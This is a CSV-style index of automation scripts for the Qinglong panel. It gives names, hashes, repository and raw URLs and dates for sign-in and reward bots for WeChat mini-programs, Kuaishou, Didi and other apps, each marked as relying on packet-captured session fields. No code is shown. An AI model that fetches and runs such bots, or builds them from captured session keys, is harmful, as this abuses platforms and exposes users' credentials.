+微信小程序/抓包版,康师傅畅饮社,2026-05-14_kangshifu_73bda636.js,73bda6361b08e86509de8dbe3cd6c2439da54fac4a43d4c4fea1d8c5edc82c0e,GitHub,smallfawn/QLScriptPublic,daily/kangshifu.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/kangshifu.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/kangshifu.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/康师傅畅饮社/2026-05-14_kangshifu_73bda636.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,得物,2025-06-28_得无开源_d10a36e3.js,d10a36e3bce740fda3d426f6787830dc5d82f20ed3f6f6e5b8d83028ec3ae80b,GitHub,jdqlscript/toulu,得无开源.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%BE%97%E6%97%A0%E5%BC%80%E6%BA%90.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%BE%97%E6%97%A0%E5%BC%80%E6%BA%90.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/得物/2025-06-28_得无开源_d10a36e3.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,得物0元抽,2026-04-08_dw_643756c6.js,643756c628cc298d1afacd86d11cb0f35889ab3d2203212a9ac4486e354f3569,GitHub,smallfawn/QLScriptPublic,daily/dw.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/dw.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/dw.js,2026-04-08T12:04:40Z,脚本库/微信小程序/抓包版/得物0元抽/2026-04-08_dw_643756c6.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,微信小程序_-_美的会员,2026-04-01_wx_midea_2ea2d16b.js,2ea2d16b2578d749c3e773114a2a65fd24ef25f054c036c8fac26fddf446d52a,GitHub,smallfawn/QLScriptPublic,wxapp/wx_midea.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/wx_midea.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/wx_midea.js,2026-04-01T11:27:33Z,脚本库/微信小程序/抓包版/微信小程序_-_美的会员/2026-04-01_wx_midea_2ea2d16b.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,微信小程序虔金E站,2025-06-28_微信小程序虔金E站_e1e429fa.js,e1e429fad49d3ca582abe7eaf2f060325d2147c534f593c66313798be2843660,GitHub,jdqlscript/toulu,微信小程序虔金E站.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E8%99%94%E9%87%91E%E7%AB%99.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E8%99%94%E9%87%91E%E7%AB%99.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/微信小程序虔金E站/2025-06-28_微信小程序虔金E站_e1e429fa.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,心喜小程序,2026-05-14_xinxi_97216722.js,97216722edf50cf917686fcbc51d42b0f4a87165b6eeac508fa3ba0573156830,GitHub,smallfawn/QLScriptPublic,daily/xinxi.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/xinxi.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/xinxi.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/心喜小程序/2026-05-14_xinxi_97216722.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,快手养号,2026-05-18_ks_yanghao_v1_e24abf45_2.js,e24abf45a7c194b2aa3750474f59ec9d8218c59b78af77cb1ac378682c19a9dc,GitHub,DearSong15/ql-scripts,ks_yanghao_v1.js,https://github.com/DearSong15/ql-scripts/blob/main/ks_yanghao_v1.js,https://raw.githubusercontent.com/DearSong15/ql-scripts/main/ks_yanghao_v1.js,2026-05-18T09:30:28Z,脚本库/微信小程序/抓包版/快手养号/2026-05-18_ks_yanghao_v1_e24abf45_2.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,快手双版本,2026-05-16_zhks_dual_v2_120e664b_2.js,120e664b03ceb8502dcdbbb823501a4fcc6c721a7078259b4f915887c2b23270,GitHub,DearSong15/ql-scripts,zhks_dual_v2.js,https://github.com/DearSong15/ql-scripts/blob/main/zhks_dual_v2.js,https://raw.githubusercontent.com/DearSong15/ql-scripts/main/zhks_dual_v2.js,2026-05-16T08:31:47Z,脚本库/微信小程序/抓包版/快手双版本/2026-05-16_zhks_dual_v2_120e664b_2.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,快手双端,2026-05-11_ks_dual_aa4fbaa7.js,aa4fbaa74f4c00599fa2a8c1e358c99c6f393dc9b180b7c8260162ddd20b1e0f,GitHub,DearSong15/ql-scripts,ks_dual.js,https://github.com/DearSong15/ql-scripts/blob/main/ks_dual.js,https://raw.githubusercontent.com/DearSong15/ql-scripts/main/ks_dual.js,2026-05-11T15:03:30Z,脚本库/微信小程序/抓包版/快手双端/2026-05-11_ks_dual_aa4fbaa7.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,快手双端开源,2026-05-19_ks_dual_open_4a445066_2.js,4a445066e33ac7407d2de6f81605efc0849431d03dcdfdcd647a90509fc3e51f,GitHub,DearSong15/ql-scripts,ks_dual_open.js,https://github.com/DearSong15/ql-scripts/blob/main/ks_dual_open.js,https://raw.githubusercontent.com/DearSong15/ql-scripts/main/ks_dual_open.js,2026-05-19T09:23:01Z,脚本库/微信小程序/抓包版/快手双端开源/2026-05-19_ks_dual_open_4a445066_2.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,慕思,2025-06-28_慕思_3ee7b04e.js,3ee7b04e8bd10005837a4a9d2f2108fe22c21a288ff2eb9774750c652c0c283f,GitHub,jdqlscript/toulu,慕思.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%85%95%E6%80%9D.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%85%95%E6%80%9D.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/慕思/2025-06-28_慕思_3ee7b04e.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,慕斯小程序签到,2026-05-14_musi_42ce9bc0.js,42ce9bc08cbded73578a5fe72b5aab0010573d1d627a78d13241fc35d8c0599c,GitHub,smallfawn/QLScriptPublic,wxapp/musi.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/musi.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/musi.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/慕斯小程序签到/2026-05-14_musi_42ce9bc0.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,所有女生会员中心,2025-06-28_所有女生小程序_a6033b11.js,a6033b11f7c454dfe0d05787297d516e942a4777e10bf3258940fd1b548666c5,GitHub,jdqlscript/toulu,所有女生小程序.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%89%80%E6%9C%89%E5%A5%B3%E7%94%9F%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%89%80%E6%9C%89%E5%A5%B3%E7%94%9F%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/所有女生会员中心/2025-06-28_所有女生小程序_a6033b11.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,掌瓦每日商店推送,2026-05-24_ValorantStore_4efc5ba5.py,4efc5ba550edbef68021f94f99413bf66e7b6b24f16ccd720105624c4fc3cf09,GitHub,CN-Grace/QinglongScripts,ValorantStore.py,https://github.com/CN-Grace/QinglongScripts/blob/main/ValorantStore.py,https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/ValorantStore.py,2026-05-24T03:16:47Z,脚本库/微信小程序/抓包版/掌瓦每日商店推送/2026-05-24_ValorantStore_4efc5ba5.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,森空岛签到,2026-05-23_skyland_3ff34a02.py,3ff34a02f788b8d949abe98d0670868ecd5dbd849cf18490c04ca20ae3641688,GitHub,CN-Grace/QinglongScripts,skyland.py,https://github.com/CN-Grace/QinglongScripts/blob/main/skyland.py,https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/skyland.py,2026-05-23T15:56:46Z,脚本库/微信小程序/抓包版/森空岛签到/2026-05-23_skyland_3ff34a02.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,森空岛自动签到,2026-03-02_ql_skyland_4e8e3ff9.py,4e8e3ff95ea19345dea4a39e3a90f5ae71eadf782bf338e14bd487dc8ad6e805,GitHub,Small-tailqwq/ql_script,skyland/ql_skyland.py,https://github.com/Small-tailqwq/ql_script/blob/master/skyland/ql_skyland.py,https://raw.githubusercontent.com/Small-tailqwq/ql_script/master/skyland/ql_skyland.py,2026-03-02T11:07:04Z,脚本库/微信小程序/抓包版/森空岛自动签到/2026-03-02_ql_skyland_4e8e3ff9.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,植白说小程序,2026-04-09_zbs_478003ec.js,478003ec8662f7437e94cebaf197f25ec6f0075b14d6588b881b713a003252ba,GitHub,smallfawn/QLScriptPublic,daily/zbs.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/zbs.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/zbs.js,2026-04-09T11:12:26Z,脚本库/微信小程序/抓包版/植白说小程序/2026-04-09_zbs_478003ec.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,欢太商城,2025-06-28_欢太商城_2cc34369.py,2cc34369f14bd3d325e4315947427cb7388d52cb812c3295e97f9f3b35f1cd04,GitHub,jdqlscript/toulu,欢太商城.py,https://gitee.com/jdqlscript/toulu/blob/main/%E6%AC%A2%E5%A4%AA%E5%95%86%E5%9F%8E.py,https://gitee.com/jdqlscript/toulu/raw/main/%E6%AC%A2%E5%A4%AA%E5%95%86%E5%9F%8E.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/欢太商城/2025-06-28_欢太商城_2cc34369.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,波司登小程序,2025-06-28_波司登_8f296880.js,8f296880e5285cf15f4f1e06bf81da594b953ef6a16466a6ac951ed1c8de187f,GitHub,jdqlscript/toulu,波司登.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%B3%A2%E5%8F%B8%E7%99%BB.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%B3%A2%E5%8F%B8%E7%99%BB.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/波司登小程序/2025-06-28_波司登_8f296880.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,活力伊利小程序,2026-05-14_hlyl_eaf5ac9b.js,eaf5ac9bd01b8550cc46d6fcdf737b8d573b931e3ed4454633a00a0ad9657066,GitHub,smallfawn/QLScriptPublic,daily/hlyl.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hlyl.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hlyl.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/活力伊利小程序/2026-05-14_hlyl_eaf5ac9b.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,浓五的酒馆,2025-11-29_浓五的酒馆_915469c7.py,915469c7c5f6de757cf491d0d59818b6aa59b3727355cc90ed083c445d833186,GitHub,back-101/zyqinglong,浓五的酒馆.py,https://github.com/back-101/zyqinglong/blob/main/%E6%B5%93%E4%BA%94%E7%9A%84%E9%85%92%E9%A6%86.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/浓五的酒馆.py,2025-11-29T06:56:58Z,脚本库/微信小程序/抓包版/浓五的酒馆/2025-11-29_浓五的酒馆_915469c7.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,浓五的酒馆,2026-05-14_nwdjg_6f50bb3e.js,6f50bb3ee6aff7cd15d364eeb32932ff1c7d808bbf1f0d64724df54708156411,GitHub,smallfawn/QLScriptPublic,wxapp/nwdjg.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/nwdjg.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/nwdjg.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/浓五的酒馆/2026-05-14_nwdjg_6f50bb3e.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,海天美味馆小程序,2025-06-28_海天美味馆_ce5a14cb.js,ce5a14cb4c6f738c04e461d43e1647c56f4a5fbb42b0fe0b9935c6ba256dce64,GitHub,jdqlscript/toulu,海天美味馆.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%B5%B7%E5%A4%A9%E7%BE%8E%E5%91%B3%E9%A6%86.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%B5%B7%E5%A4%A9%E7%BE%8E%E5%91%B3%E9%A6%86.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/海天美味馆小程序/2025-06-28_海天美味馆_ce5a14cb.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,海天美味馆小程序,2026-05-14_haitian_460af5d6.js,460af5d6a725f21a69a7b73506b3433d530e587e5a185e036d8ec00966e9d66d,GitHub,smallfawn/QLScriptPublic,daily/haitian.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/haitian.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/haitian.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/海天美味馆小程序/2026-05-14_haitian_460af5d6.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,海尔智家,2025-06-28_海尔_e0ba0d26.js,e0ba0d268144ddc95a136f4bc9e5ea67c910ee075fc23691a58de8624d50ec33,GitHub,jdqlscript/toulu,海尔.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%B5%B7%E5%B0%94.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%B5%B7%E5%B0%94.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/海尔智家/2025-06-28_海尔_e0ba0d26.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,海尔智家,2026-05-14_hezj_88376ece.js,88376ece68c01e969233f3786f442391f0e8a3d566348985e3b6727240b5c972,GitHub,smallfawn/QLScriptPublic,daily/hezj.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hezj.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hezj.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/海尔智家/2026-05-14_hezj_88376ece.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,海底捞,2026-04-07_hdl_6ef2ae22.js,6ef2ae22c4aac78dc3761a274008d3d63cb0205bbfb195372c14e2be7979bd73,GitHub,smallfawn/QLScriptPublic,daily/hdl.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hdl.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hdl.js,2026-04-07T12:21:56Z,脚本库/微信小程序/抓包版/海底捞/2026-04-07_hdl_6ef2ae22.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,海底捞签到,2025-11-27_hdl_3d7436ac.py,3d7436ac1388f2519d06e52c63891176440b1efe060daf7957535291b9ab16e0,GitHub,back-101/zyqinglong,hdl.py,https://github.com/back-101/zyqinglong/blob/main/hdl.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/hdl.py,2025-11-27T10:49:43Z,脚本库/微信小程序/抓包版/海底捞签到/2025-11-27_hdl_3d7436ac.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,滴滴打车,2025-11-27_dddc_7b987f0b.py,7b987f0b6ad65d28e0c55cf6f2e988717290f7b2c8cd0bc94bc0bb50e4c6b059,GitHub,back-101/zyqinglong,dddc.py,https://github.com/back-101/zyqinglong/blob/main/dddc.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/dddc.py,2025-11-27T10:49:43Z,脚本库/微信小程序/抓包版/滴滴打车/2025-11-27_dddc_7b987f0b.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,滴滴果园,2025-01-11_ddgy_236924d1.js,236924d18d7e9ae58141a6c45bde1b9de748e6e63c8ca805162caf02fb01b362,GitHub,lksky8/sign-ql,invalid/ddgy.js,https://github.com/lksky8/sign-ql/blob/main/invalid/ddgy.js,https://raw.githubusercontent.com/lksky8/sign-ql/main/invalid/ddgy.js,2025-01-11T18:50:13Z,脚本库/微信小程序/抓包版/滴滴果园/2025-01-11_ddgy_236924d1.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,滴滴果园,2025-06-28_滴滴果园_f54487a2.py,f54487a2a26a6a04189dae8050cb3f3223750ff1b2be2eb8c26829f4dd0a5aff,GitHub,jdqlscript/toulu,滴滴果园.py,https://gitee.com/jdqlscript/toulu/blob/main/%E6%BB%B4%E6%BB%B4%E6%9E%9C%E5%9B%AD.py,https://gitee.com/jdqlscript/toulu/raw/main/%E6%BB%B4%E6%BB%B4%E6%9E%9C%E5%9B%AD.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/滴滴果园/2025-06-28_滴滴果园_f54487a2.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,滴滴果园大佬的我用不了,2025-06-03_ddgy_36740532.py,36740532c38b244688d0b06ceacf83f91c2fec60cbf881ed501e891fe011b10a,GitHub,jdqlscript/zyqinglong,ddgy.py,https://gitee.com/jdqlscript/zyqinglong/blob/main/ddgy.py,https://gitee.com/jdqlscript/zyqinglong/raw/main/ddgy.py,2025-06-03T12:08:50+08:00,脚本库/微信小程序/抓包版/滴滴果园大佬的我用不了/2025-06-03_ddgy_36740532.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,潇洒桐庐,2025-06-28_潇洒桐庐_b94d00d2.js,b94d00d23f43d90f679c206115b909001aa387fa441df682cc83630ecf42414c,GitHub,jdqlscript/toulu,潇洒桐庐.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%BD%87%E6%B4%92%E6%A1%90%E5%BA%90.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%BD%87%E6%B4%92%E6%A1%90%E5%BA%90.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/潇洒桐庐/2025-06-28_潇洒桐庐_b94d00d2.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,潇洒桐庐,2026-05-14_xiaosatonglu_7a55d833.js,7a55d833c40d510d42f428dee2967fa135a7b3ef61fbec64e65d39c0b84c373d,GitHub,smallfawn/QLScriptPublic,xiaosatonglu.js,https://github.com/smallfawn/QLScriptPublic/blob/main/xiaosatonglu.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/xiaosatonglu.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/潇洒桐庐/2026-05-14_xiaosatonglu_7a55d833.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,点点兼职,2025-06-28_点点兼职_08d0c3dd.js,08d0c3dd70debd0cb3aa538a0994a5d47669595bc2ae2387676426c05c7b781c,GitHub,jdqlscript/toulu,点点兼职.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%82%B9%E7%82%B9%E5%85%BC%E8%81%8C.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%82%B9%E7%82%B9%E5%85%BC%E8%81%8C.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/点点兼职/2025-06-28_点点兼职_08d0c3dd.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,爱玛会员俱乐部,2025-06-28_爱玛会员俱乐部_b27f0206.js,b27f0206715bcfbda1934198123c52ee839a0a337f5cd406725b82356096a19a,GitHub,jdqlscript/toulu,爱玛会员俱乐部.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B1%E7%8E%9B%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B1%E7%8E%9B%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/爱玛会员俱乐部/2025-06-28_爱玛会员俱乐部_b27f0206.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,牙博士口腔微商城,2025-06-28_牙博士口腔微商城_c59a947a.js,c59a947af6f68dad497b9b5b0a2b26392852946fcf3883c48748c0087c0ab939,GitHub,jdqlscript/toulu,牙博士口腔微商城.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%89%99%E5%8D%9A%E5%A3%AB%E5%8F%A3%E8%85%94%E5%BE%AE%E5%95%86%E5%9F%8E.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%89%99%E5%8D%9A%E5%A3%AB%E5%8F%A3%E8%85%94%E5%BE%AE%E5%95%86%E5%9F%8E.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/牙博士口腔微商城/2025-06-28_牙博士口腔微商城_c59a947a.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,瑷尔博士官方云商城,2025-06-28_瑷尔博士_9b3eaec2.js,9b3eaec2c57164c1a96cf2e236c97997baa69d1e45e02503fbbcab3f73736fe3,GitHub,jdqlscript/toulu,瑷尔博士.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%91%B7%E5%B0%94%E5%8D%9A%E5%A3%AB.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%91%B7%E5%B0%94%E5%8D%9A%E5%A3%AB.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/瑷尔博士官方云商城/2025-06-28_瑷尔博士_9b3eaec2.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,益禾堂,2026-04-12_yht_3f2d67f0.js,3f2d67f0b71391331c9cc40ea43a3b49855e4fbefc611dd27988f1974cb41533,GitHub,smallfawn/QLScriptPublic,daily/yht.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/yht.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/yht.js,2026-04-12T06:41:36Z,脚本库/微信小程序/抓包版/益禾堂/2026-04-12_yht_3f2d67f0.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,益禾堂签到,2025-11-27_yht_8e290e78.py,8e290e78acfa8d1ad16b1a0ec192cb66adac7a7a0f97e3e5f9d5635734ed554c,GitHub,back-101/zyqinglong,yht.py,https://github.com/back-101/zyqinglong/blob/main/yht.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/yht.py,2025-11-27T10:49:43Z,脚本库/微信小程序/抓包版/益禾堂签到/2025-11-27_yht_8e290e78.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,盖瑞特后市场,2025-06-28_盖瑞特后市场_b29d74fc.js,b29d74fc9baa9f2cf96e1e36d8598ed28ed667c0e4c79df9b03750e2ac8bf8d4,GitHub,jdqlscript/toulu,盖瑞特后市场.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%9B%96%E7%91%9E%E7%89%B9%E5%90%8E%E5%B8%82%E5%9C%BA.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%9B%96%E7%91%9E%E7%89%B9%E5%90%8E%E5%B8%82%E5%9C%BA.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/盖瑞特后市场/2025-06-28_盖瑞特后市场_b29d74fc.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,睿蓝汽车,2026-04-01_ruilanCar_bbf9ecc4.js,bbf9ecc479b7d6bed5fad99dc690124ce32bc3f64bd0313f229eb71cbc94bd2c,GitHub,smallfawn/QLScriptPublic,ruilanCar.js,https://github.com/smallfawn/QLScriptPublic/blob/main/ruilanCar.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/ruilanCar.js,2026-04-01T11:27:33Z,脚本库/微信小程序/抓包版/睿蓝汽车/2026-04-01_ruilanCar_bbf9ecc4.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,立乐家会员俱乐部,2026-04-08_llj_268c1523.js,268c15238c39ed7f628cf9b6d0df341e4810456fc65acda3d3b372888a4e349e,GitHub,smallfawn/QLScriptPublic,daily/llj.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/llj.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/llj.js,2026-04-08T05:56:39Z,脚本库/微信小程序/抓包版/立乐家会员俱乐部/2026-04-08_llj_268c1523.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,米其林会员小程序,2026-05-14_miqilin_62de3bde.js,62de3bdeb38837edfccddb525f451e9f7aa72afb284839413b72a5ada299438c,GitHub,smallfawn/QLScriptPublic,wxapp/miqilin.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/miqilin.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/miqilin.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/米其林会员小程序/2026-05-14_miqilin_62de3bde.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,索尼中国,2025-01-11_sonybbs_359e1e49.js,359e1e4984589cd0b5363e39c8ff9a566a54f3b5678cee3540b33ac3a546638a,GitHub,lksky8/sign-ql,invalid/sonybbs.js,https://github.com/lksky8/sign-ql/blob/main/invalid/sonybbs.js,https://raw.githubusercontent.com/lksky8/sign-ql/main/invalid/sonybbs.js,2025-01-11T18:47:31Z,脚本库/微信小程序/抓包版/索尼中国/2025-01-11_sonybbs_359e1e49.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,红旗智联,2025-06-28_红旗智联_c676b0c8.js,c676b0c804204927c7ebcbc05f2aab18d80bf1a970427107840e5c1bfcbb59af,GitHub,jdqlscript/toulu,红旗智联.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%BA%A2%E6%97%97%E6%99%BA%E8%81%94.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%BA%A2%E6%97%97%E6%99%BA%E8%81%94.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/红旗智联/2025-06-28_红旗智联_c676b0c8.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,统一抽奖大集结,2025-06-28_统一_8487b153.js,8487b15326043cec5ab177d6cbc07a7306bca5cb173bc4bde24c9af4b51e1f48,GitHub,jdqlscript/toulu,统一.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%BB%9F%E4%B8%80.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%BB%9F%E4%B8%80.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/统一抽奖大集结/2025-06-28_统一_8487b153.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,统一茄皇-修复版,2023-01-03_tyqh_2fe80596.js,2fe8059609f086f32865e2d2463e2e54b532cae84923ca73cb64cf6d5432509c,GitHub,lksky8/sign-ql,invalid/tyqh.js,https://github.com/lksky8/sign-ql/blob/main/invalid/tyqh.js,https://raw.githubusercontent.com/lksky8/sign-ql/main/invalid/tyqh.js,2023-01-03T11:39:58Z,脚本库/微信小程序/抓包版/统一茄皇-修复版/2023-01-03_tyqh_2fe80596.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,统一茄皇互助,2023-01-03_qhhz_07a8e366.js,07a8e366afc33d150d5b2c1d3dde5220e01ffa855b3c568244fe6013a54aae43,GitHub,lksky8/sign-ql,invalid/qhhz.js,https://github.com/lksky8/sign-ql/blob/main/invalid/qhhz.js,https://raw.githubusercontent.com/lksky8/sign-ql/main/invalid/qhhz.js,2023-01-03T11:38:28Z,脚本库/微信小程序/抓包版/统一茄皇互助/2023-01-03_qhhz_07a8e366.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 